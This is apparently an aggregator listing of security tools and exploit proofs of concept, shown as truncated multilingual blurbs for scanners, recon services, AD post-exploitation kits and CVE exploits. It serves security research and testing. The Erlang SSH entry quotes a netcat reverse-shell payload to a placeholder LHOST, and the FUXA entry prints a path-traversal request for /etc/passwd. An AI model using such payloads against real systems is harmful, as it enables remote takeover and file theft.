scrying

NCC Group Scrying A new tool for collecting RDP, web and VNC screenshots all in one place This tool is still a work-in-progress and should be mostly usable but is not yet complete. Please file any bugs or feature requests as GitHub issues Motivation Since Eyewitness recently dropped support for R...

scrying

NCC Group Scrying 一款用于收集RDP、Web和VNC截图的全新工具，全部集中在一个地方 此工具仍在开发中，大部分功能可用但尚未完成。 如有错误或功能请求，请提交为GitHub issues 动机 由于Eyewitness最近放弃了RDP支持，目前没有可用的命令行工具来捕获RDP截图。 Nessus仍然可行，但提取图片很麻烦，且导出文件中不包含它们。 我认为这是一个编写更强大工具的好机会。请查看功能列表！ 安装 对于Web截图，scrying当前依赖于安装Chromium或Google Chrome。使用pacman -S chromium或相应操作系统的等价命令安装。...

altair

ALTAIR - 模块化Web漏洞扫描器 Copyleft by Simone Margaritelli [email protected] http://www.evilsocket.net - http://www.backbox.org 用法：altair 选项 -u 示例： altair --filter=lfi,rfi --url=http://www.somesite.com altair --filter=sqli --load-modules=sqlmap --url=http://www.somesite.com 选项： -h, --help...

CVE-2025-3243

CVE-2025-32433 Erlang SSH 库漏洞利用程序 针对 CVE-2025-32433 的概念验证漏洞利用程序，这是 Erlang 的 SSH 库中的一个严重漏洞，允许通过格式错误的 SSHMSGCHANNELREQUEST 数据包在认证前执行代码。 功能特性 原始漏洞利用程序 由 Matthew Keeley 编写 更新版本 由 Tyler Ramsbey 编写： 针对 LHOST 、LPORT 、RHOST 和 RPORT 的命令行参数 通过 argparse 提供内置帮助和用法 使用 os:cmd"nc LHOST LPORT -e /bin/sh". 的 Erla...

sopa

sopa Un cliente práctico para ADWS en Golang. Sopa implementa la pila de protocolos ADWS MS-NNS + MC-NMF + SOAP, exponiendo las siguientes funcionalidades desde línea de comandos: Búsqueda y recuperación de objetos query: ejecuta búsquedas por filtro LDAP mediante el bucle WS-Enumeration...

shodan-dorks

Shodan dorks Description: This GitHub repository provides a range of search queries, known as "dorks," for Shodan, a powerful tool used to search for Internet-connected devices. The dorks are designed to help security researchers discover potential vulnerabilities and configuration issues in...

shodan-dorks

Shodan Dorks 描述： 这个 GitHub 仓库提供了一系列针对 Shodan 的搜索查询（称为“搜索语法”），Shodan 是一种强大的工具，用于搜索连接到互联网的设备。这些搜索语法旨在帮助安全研究人员发现各种类型设备（如网络摄像头、路由器和服务器）中的潜在漏洞和配置问题。该资源对于有兴趣探索网络安全和执行漏洞扫描的人（包括初学者和经验丰富的信息安全专业人员）非常有用。利用这个仓库，用户可以改善自身网络的安全性并防范潜在攻击。 Shodan Dorks： console aa3939fc357723135870d5036b12a67097b03309...

log4j-shell-csw

Log4j Exploit Simple Un Exploit de Prueba de Concepto para la vulnerabilidad CVE-2021-44228. Log4j, que se utiliza para registrar información de seguridad y rendimiento, afecta a más de 3 mil millones de dispositivos que usan Java en una variedad de servicios, sitios web y aplicaciones de consumo...

RatRace

RatRace 一款轻量级CLI工具，用于系统性地检测和利用Web应用、API及现代服务中的竞争条件漏洞。 解决的问题 竞争条件是现代应用中最具破坏性的安全漏洞之一，然而自动化扫描器对此类问题的覆盖依然不足。Nuclei、ffuf、sqlmap等工具擅长发现静态漏洞，但从根本上无法识别基于并发的安全问题。 渗透测试人员面临两难选择：要么为每次测试手动编写一次性脚本，要么完全跳过竞争条件测试。这两种方案都不可扩展，也不够专业。 RatRace 通过提供一个精致且可重复的竞争条件测试工作流解决了这一难题 ——将以往临时拼凑的脚本过程转变为系统化的流程，可与CI/CD流水线集成，并生成专业报告...

crlfmap

CRLFMap CRLFMap es una herramienta para encontrar vulnerabilidades de HTTP Splitting ¿Por qué? Quería escribir una herramienta en Golang para concurrencia Quería poder fuzzear tanto parámetros como rutas Instalación root@kitploit: go get github.com/ryandamour/crlfmap Ayuda root@kitploit: Availabl...

CVE-2022-26134

CVE-2022-26134 - OGNL 注入漏洞： 概念验证脚本，利用影响 Atlassian Confluence 7.18 及更低版本的远程代码执行漏洞。该 OGNL 注入漏洞允许未经身份验证的用户在 Confluence Server 或 Data Center 实例上执行任意代码。 受影响版本： 所有受支持的 Confluence Server 和 Data Center 版本均受影响。 Confluence Server 和 Data Center 版本 1.3.0 至 7.18.1（不含）受影响。 该漏洞的 CVSS 评分为 10 分（满分 10 分），严重性极高。 依赖...

bbrecon

This project is no longer maintained and I took the crawling infrastructure offline. The audience was not big enough to justify maintaining it. Bug Bounty Recon bbrecon is a free Recon-as-a-Service for bug bounty hunters and security researchers. The API aims to provide a continuously up-to-date...

bbrecon

此项目不再维护，我已将爬虫基础设施下线。 由于受众规模不足以证明维护的合理性。 Bug Bounty Recon（bbrecon）是一项免费的“侦察即服务”，专为漏洞赏金猎人和安全研究人员设计。该API旨在持续提供互联网“安全港”攻击面的最新地图，排除范围外的目标。 它附带一个符合人体工程学的CLI和Python库。 重要声明 尽管我们已努力确保bbrecon返回的结果可靠且可信，但本服务及其运营者对您使用所提供数据的行为概不负责。 请仔细检查您的范围，并确保您停留在安全港内。 功能特性 公开项目 - 公开漏洞赏金项目，支持索引和筛选搜索 域名 - 各项目范围内的域名 通知 -...

PSPKIAudit

PSPKIAudit Kit de herramientas de PowerShell para auditar Active Directory Certificate Services AD CS. Está construido sobre el kit de herramientas PSPKI Microsoft Public License de PKISolution. Este repositorio contiene una versión más reciente de PSPKI que la disponible en PSGallery consulte el...

Ticketbleed

Ticketbleed 该工具用于利用Ticketbleed（CVE-2016-9244）漏洞，src文件夹内的Ticketbleed库是go的crypto/tls的修改版本，对handshakeclient.go, tls.go, common.go文件做了少量更改，但基本保持一致。 构建 root@kitploit: cd Ticketbleed mv Ticketbleed.go.tmp Ticketbleed.go go get github.com/EgeBalci/Ticketbleed go build Ticketbleed.go 用法 root@kitploit:...

CVE-2023-31718

CVE-2023-31718 可以将本地文件包含到端点 /api/download 中。该端点用于从 FUXA 下载报告，并且可以通过 HTTP GET 的 "name" 参数读取本地文件。 /api/download?cmd=REPORT-DOWNLOAD&name=../../../../../../etc/passwd 受影响产品名称：FUXA 受影响版本：= 1.1.12 问题：本地文件包含 描述：可以将本地文件包含到端点 /api/download 中。该端点用于从 FUXA 下载报告，并且可以通过 HTTP GET 的 "name" 参数读取本地文件...

StandIn

StandIn StandIn 是一个小型 AD 后渗透工具包。StandIn 的出现是因为最近在 xforcered，我们需要一个 .NET 原生解决方案来执行基于资源的约束委派。然而，StandIn 很快膨胀，包含了大量便利功能。 我希望继续开发 StandIn，以自学更多关于目录服务编程的知识，并有望扩展一个适合 AD 后渗透工具链的工具。 路线图 贡献指南 非常欢迎贡献。请确保拉取请求包含以下内容：功能描述、简要技术说明和示例输出。 如果你有希望添加到 StandIn 但还没有提交 PR 的功能？请创建一个工单并尽可能详细地描述该功能。 待办事项 以下项目目前计划在后续版本的...

CVE-2023-30212-POC

CVE-2023-30212-POC 创建易受攻击的 Docker 环境并利用 Ourphp 7.2.0 版本中的漏洞（CVE 2023 30212） 步骤 1：在您的系统中下载并安装 Docker。我使用 Docker，因为安装 Ubuntu 快速且简单。 步骤 2：设置 Docker 环境 root@kitploit: sudo apt-get install docker.io docker pull ubuntu docker run -d -t --name test-container -p 80:80 -p 443:44 3 -p 3306:3306 -p 21:21...

CVE-2018-7747

CVE-2018-7747 CalderaForms 1.5.9.1 XSS（WordPress插件） - 教程 CalderaForm 是一个 WordPress 插件，允许通过拖放轻松创建表单。 在最近的一次活动中，我测试了一些门户网站，其中一个恰好使用了这个插件创建的联系表单。 该实例的自定义配置让我发现了一个漏洞：由于其简单、教科书式的性质，我认为这是一个很好的机会，可以向初学者说明一些机制。 仅用于教育目的 - 不要使用这些信息在未经明确授权的情况下测试目标，也不要用于非法目的 - 不要在消化时跳入冷水 - 天热时要像洋葱一样分层穿衣 完整利用：...

naabu

Features • Installation • Usage • Running naabu • Config • NMAP integration • CDN/WAF Exclusion • Discord Naabu is a port scanning tool written in Go that allows you to enumerate valid ports for hosts in a fast and reliable manner. It is a really simple tool that does fast SYN/CONNECT/UDP scans o...